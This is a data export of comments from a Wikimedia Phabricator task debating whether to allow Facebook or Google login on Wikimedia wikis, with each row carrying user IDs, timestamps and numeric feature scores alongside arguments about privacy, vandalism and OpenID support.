And it's not just theory. Look at how [[http://superuser.com/questions/855676/why-does-google-call-thunderbird-less-secure|Google regularly abuses people authenticating to it]] in order to impose their favorite technologies.",,,1437295410,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,5.0,2.0,12.0,8.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,8.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,15.0,2.0,5.0,5.0,0.0,0.0,2.0,0.0,8.0,0.0,2.0,0.0,9.0,8.0,3.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,3.0,3.712121212121212,0.7424242424242424,"QUOTE

Hey, that's outing and libel! I don't really have a Facebook account, I was forced to create one and I don't even remember the password.

QUOTE

And it's not just theory. Look at how [[URL regularly abuses people authenticating to it]] in order to impose their favorite technologies."
493485,Enable Facebook login on Wikimedia wikis,"> I have a Facebook account. Brion, Nemo, Quim, Petr, Krenair, and Reedy all have Facebook accounts as well.

Hey, that's outing and libel! I don't really have a Facebook account, I was forced to create one and I don't even remember the password.",,,1437295234,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,0.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,18.0,0.0,6.0,9.0,0.0,0.0,3.0,0.0,9.0,0.0,3.0,0.0,9.0,3.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8235294117647058,"QUOTE

Hey, that's outing and libel! I don't really have a Facebook account, I was forced to create one and I don't even remember the password."
493478,Enable Facebook login on Wikimedia wikis,I would not like the idea of using facebook to authenticate privileged users. That gives a lot of power to facebook that they could in theory abuse.,,,1437287975,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.206896551724138,0.8620689655172413,I would not like the idea of using facebook to authenticate privileged users. That gives a lot of power to facebook that they could in theory abuse.
493476,Enable Facebook login on Wikimedia wikis,"I'm re-opening this task for further consideration. In my opinion, the current hand-wavy ""people would object"" and ""we can't possibly"" arguments presented in this task don't hold enough weight to stand on their own.

I have a Facebook account. Brion, Nemo, Quim, Petr, Krenair, and Reedy all have Facebook accounts as well. So, very respectfully, I'm calling bullshit on the idea that you can't be both a Wikimedian and a Facebook user.

(The same is true for Google. Many Wikimedians have Gmail accounts. The Wikimedia Foundation itself switched to Google Apps several years ago, meaning that every wikimedia.org e-mail address is also a Google account, as I understand it.)

There may be good reasons to not support Facebook logins. For example, it's still not clear to me whether Facebook supports OpenID or whether Wikimedia is interested in using OpenID. However, if we decline this task, we should do so only alongside a clear and specific articulation of why this request has failed.

Given the incredibly widespread use and adoption of platforms such as Facebook and Google, at least considering allowing users to log in with them seems completely reasonable. As Petr points out, this could mitigate the need to use IP addresses. Of course the current user authentication system is hairy (CentralAuth blehhh) and it may be better to prioritize other authentication features (such as login via e-mail address and case-insensitive login), but that doesn't mean that we can't simultaneously consider this request.",,,1437285585,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1.0,0.0,0.5,0.0,2.0,6.5,2.0,0.0,0.0,0.25,2.75,2.0,0.0,0.25,0.25,2.5,0.25,6.75,9.5,0.0,1.5,0.25,0.0,0.0,0.25,1.0,0.0,0.25,1.0,0.25,0.0,4.75,2.0,1.0,0.25,0.25,0.25,0.0,0.25,0.75,0.0,0.5,0.25,1.75,0.0,1.25,0.25,0.0,0.5,11.75,0.75,1.25,0.0,0.0,0.0,0.25,0.0,0.25,0.75,0.0,0.25,1.25,0.25,0.25,0.0,0.0,0.0,3.25,2.0,11.25,1.75,2.75,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.5,9.5,6.75,0.0,1.0,0.0,4.5,0.0,0.25,1.25,0.75,2.0,0.25,0.25,0.25,4.198564593301436,0.7804596719070404,"I'm re-opening this task for further consideration. In my opinion, the current hand-wavy ""people would object"" and ""we can't possibly"" arguments presented in this task don't hold enough weight to stand on their own.

I have a Facebook account. Brion, Nemo, Quim, Petr, Krenair, and Reedy all have Facebook accounts as well. So, very respectfully, I'm calling bullshit on the idea that you can't be both a Wikimedian and a Facebook user.

(The same is true for Google. Many Wikimedians have Gmail accounts. The Wikimedia Foundation itself switched to Google Apps several years ago, meaning that every wikimedia.org e-mail address is also a Google account, as I understand it.)

There may be good reasons to not support Facebook logins. For example, it's still not clear to me whether Facebook supports OpenID or whether Wikimedia is interested in using OpenID. However, if we decline this task, we should do so only alongside a clear and specific articulation of why this request has failed.

Given the incredibly widespread use and adoption of platforms such as Facebook and Google, at least considering allowing users to log in with them seems completely reasonable. As Petr points out, this could mitigate the need to use IP addresses. Of course the current user authentication system is hairy (CentralAuth blehhh) and it may be better to prioritize other authentication features (such as login via e-mail address and case-insensitive login), but that doesn't mean that we can't simultaneously consider this request."
493431,Enable Facebook login on Wikimedia wikis,">>! In T61631#1462773, @MZMcBride wrote:
>>>! In T61631#1462744, @brion wrote:
>> This will not be done.
> 
> Why not?

Because Brion is overlord of wikimedia and he doesn't like big and rich companies :P

Now on more serious note: I myself believe that having this option would bring significant amount of contributors to wikipedia and lowered amount of IP editors incredibly, probably about 90% of them have facebook. That on other hand isn't precisely what developers want. It also involves lot of programming, that's also what they don't want to do :) and having some solid IP's might be better to some (admins mostly) than just facebook names.",,,1437260232,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,2.0,0.0,0.0,0.0,2.5,4.5,1.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,1.0,9.5,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,11.5,1.5,1.5,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,2.5,7.5,1.0,2.5,4.0,0.0,1.0,0.0,0.0,3.5,0.0,1.0,0.0,4.0,9.0,5.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,1.5,1.5,1.5,0.0,0.0,4.140350877192982,0.7807017543859649,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Because Brion is overlord of wikimedia and he doesn't like big and rich companies :P

Now on more serious note: I myself believe that having this option would bring significant amount of contributors to wikipedia and lowered amount of IP editors incredibly, probably about 90% of them have facebook. That on other hand isn't precisely what developers want. It also involves lot of programming, that's also what they don't want to do :) and having some solid IP's might be better to some (admins mostly) than just facebook names."
493419,Enable Facebook login on Wikimedia wikis,">>! In T61631#1462534, @Nemo_bis wrote:
> I think ""declined"" was a proper status: there is practically zero demand for this feature and that implementing it would require an enormous consensus, given we would encourage users to surrender their privacy etc. by chaining themselves to said external services.

It looks like any discussion about implementing this functionality gets summarily closed. Saying that there's ""zero demand"" is extremely dubious in such a hostile environment.

> It's fine to keep the report open so that the matter can be discussed, but consensus must be found on-wiki.

Consensus for what, exactly? You want the millions of Facebook and Google users to agree to use Facebook and Google? How are you impacted as a user if someone else can log in via Facebook or Google?

>>! In T61631#1462744, @brion wrote:
> This will not be done.

Why not?",,,1437256656,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1.0,1.0,1.0,1.0,1.0,2.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,8.0,14.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,20.0,5.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,14.0,8.0,5.0,2.0,0.0,3.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,4.151162790697675,0.7441860465116279,"QUOTE
QUOTE

It looks like any discussion about implementing this functionality gets summarily closed. Saying that there's ""zero demand"" is extremely dubious in such a hostile environment.

QUOTE

Consensus for what, exactly? You want the millions of Facebook and Google users to agree to use Facebook and Google? How are you impacted as a user if someone else can log in via Facebook or Google?

QUOTE
QUOTE

Why not?"
493415,Enable Facebook login on Wikimedia wikis,This will not be done.,,,1437256063,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,This will not be done.
493414,Enable Facebook login on Wikimedia wikis,How is this stalled we are actively discussing it right now,,,1437256001,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,4.454545454545454,1.0,How is this stalled we are actively discussing it right now
493413,Enable Facebook login on Wikimedia wikis,"This doesn't surrender anyone's privacy. Existing users would be in now way forced to use the google or facebook, BTW I believe that both facebook and google probably cares about privacy far more than wikimedia :P",,,1437255945,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,2.0,5.0,8.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.45,0.925,"This doesn't surrender anyone's privacy. Existing users would be in now way forced to use the google or facebook, BTW I believe that both facebook and google probably cares about privacy far more than wikimedia :P"
493410,Enable Facebook login on Wikimedia wikis,"I would like to see this feature enabled. Not only for facebook or google but for any reliable oauth provider. This effectively makes the demand greater than zero, even if it might be still small :P",,,1437255859,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,3.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,13.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,3.0,5.0,10.0,0.0,3.0,0.0,0.0,8.0,0.0,3.0,0.0,5.0,13.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.17948717948718,0.9487179487179487,"I would like to see this feature enabled. Not only for facebook or google but for any reliable oauth provider. This effectively makes the demand greater than zero, even if it might be still small :P"
493363,Enable Facebook login on Wikimedia wikis,"I think ""declined"" was a proper status: there is practically zero demand for this feature and that implementing it would require an enormous consensus, given we would encourage users to surrender their privacy etc. by chaining themselves to said external services.

It's fine to keep the report open so that the matter can be discussed, but consensus must be found on-wiki. Do you want to open an [[https://meta.wikimedia.org/wiki/Requests_for_comment|RfC]]?",,,1437249451,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,2.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,1.0,1.0,12.0,0.0,5.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,5.0,2.0,2.0,2.0,1.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,5.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,9.0,12.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,4.0,1.0,2.0,0.0,0.0,5.0,4.097560975609756,0.8170731707317073,"I think ""declined"" was a proper status: there is practically zero demand for this feature and that implementing it would require an enormous consensus, given we would encourage users to surrender their privacy etc. by chaining themselves to said external services.

It's fine to keep the report open so that the matter can be discussed, but consensus must be found on-wiki. Do you want to open an [[URL"
493359,Enable Facebook login on Wikimedia wikis,"I think ""declined"" was a proper status, given there is practically zero demand for this feature and that implementing it would require an enormous consensus, given we would encourage users to surrender their privacy etc. by chaining themselves to said external services.

It's fine to keep the report open so that the matter can be discussed, but consensus must be found on-wiki. Do you want to open an [[https://meta.wikimedia.org/wiki/Requests_for_comment|RfC]]?",,,1437249295,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,2.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,1.0,1.0,12.0,0.0,5.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,5.0,2.0,2.0,2.0,1.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,5.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,8.0,12.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,4.0,1.0,2.0,0.0,0.0,5.0,4.108433734939759,0.7951807228915663,"I think ""declined"" was a proper status, given there is practically zero demand for this feature and that implementing it would require an enormous consensus, given we would encourage users to surrender their privacy etc. by chaining themselves to said external services.

It's fine to keep the report open so that the matter can be discussed, but consensus must be found on-wiki. Do you want to open an [[URL"
493357,Enable Facebook login on Wikimedia wikis,">>! In T61631#1112376, @Qgil wrote:
> I don't see the Wikimedia movement enabling such huge endorsement to a private company, and I think we should simply decline this task.

Facebook and Google have hundreds of millions more users than Wikimedia wikis. How is Facebook or Google being private companies relevant here? If users want to be able to log in to Wikimedia wikis with Facebook or Google credentials, what's the problem with allowing that?",,,1437248932,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,22.0,4.0,6.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,19.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,4.481481481481482,0.7592592592592593,"QUOTE
QUOTE

Facebook and Google have hundreds of millions more users than Wikimedia wikis. How is Facebook or Google being private companies relevant here? If users want to be able to log in to Wikimedia wikis with Facebook or Google credentials, what's the problem with allowing that?"
425202,Enable Facebook login on Wikimedia wikis,"Agreed, this is declined.",,,1426167854,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,"Agreed, this is declined."
425083,Enable Facebook login on Wikimedia wikis,"I don't see the Wikimedia movement enabling such huge endorsement to a private company, and I think we should simply decline this task.",,,1426151412,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.346153846153846,0.9615384615384616,"I don't see the Wikimedia movement enabling such huge endorsement to a private company, and I think we should simply decline this task."
260214,Enable Facebook login on Wikimedia wikis,Not really a site request.,,,1388981321,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Not really a site request.
260207,Enable Facebook login on Wikimedia wikis,"The icon should not be loaded from the facebook servers to avoid leaking of private information, when only visiting wikimedia sites.

FYI: There is [[mw:Extension:Facebook]].",,,1388925493,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,8.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,13.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,8.0,3.973684210526316,0.868421052631579,"The icon should not be loaded from the facebook servers to avoid leaking of private information, when only visiting wikimedia sites.

FYI: There is [[mw:Extension:Facebook]]."
260201,Enable Facebook login on Wikimedia wikis,"All I said was ""Login with Facebook"", not all the other side/unrelated issues in all the above other above comments.",,,1388918222,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,False,,,-78,True,12.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,15.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.730769230769231,0.8076923076923077,"All I said was ""Login with Facebook"", not all the other side/unrelated issues in all the above other above comments."
260195,Enable Facebook login on Wikimedia wikis,"**wikimedia** wrote:

Wikimedia is not a social network and it doesn't need an even simpler registration for vandals.
Furthermore, it wouldn't make registration simpler for users because it is already very uncomplicated.",,,1388866086,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,2.0,0.0,7.0,9.0,2.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,7.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,4.340909090909091,0.75,"**wikimedia** wrote:

Wikimedia is not a social network and it doesn't need an even simpler registration for vandals.
Furthermore, it wouldn't make registration simpler for users because it is already very uncomplicated."
260190,Enable Facebook login on Wikimedia wikis,"(In reply to comment #1)
> (In reply to comment #0)
> > Other sites have ""Login with Facebook"".
> > Wikipedia should too!
> 
> Why?
> 
> Just because you can do something, doesn't mean you should.
> 
> Anyway, this no doubt a dupe of requesting to be able to login using any
> openid
> provider

It's said that ""Facebook is not an OpenID provider"". Has this changed recently?

http://stackoverflow.com/questions/1827997/is-facebook-an-openid-provider",,,1388859714,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,33.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,6.0,18.0,2.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.1372549019607843,0.5686274509803921,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It's said that ""Facebook is not an OpenID provider"". Has this changed recently?

URL"
260186,Enable Facebook login on Wikimedia wikis,"All I know is the user sees a big blue block,
    <input id=""wpLoginAttempt"" tabindex=""6"" class=""mw-ui-button mw-ui-big mw-ui-block mw-ui-primary"" type=""submit"" value=""Log in"" name=""wpLoginAttempt"">
that gets them looking at it twice as it looks like something from Facebook.
Then many of them probably start looking around the rest of the page for the real ""Login with Facebook"" button.",,,1388804653,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,False,,,-78,True,2.0,1.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,7.0,0.0,9.0,0.0,6.0,0.0,1.0,1.0,2.0,2.0,0.0,0.0,2.0,3.8068181818181817,0.6363636363636364,"All I know is the user sees a big blue block,
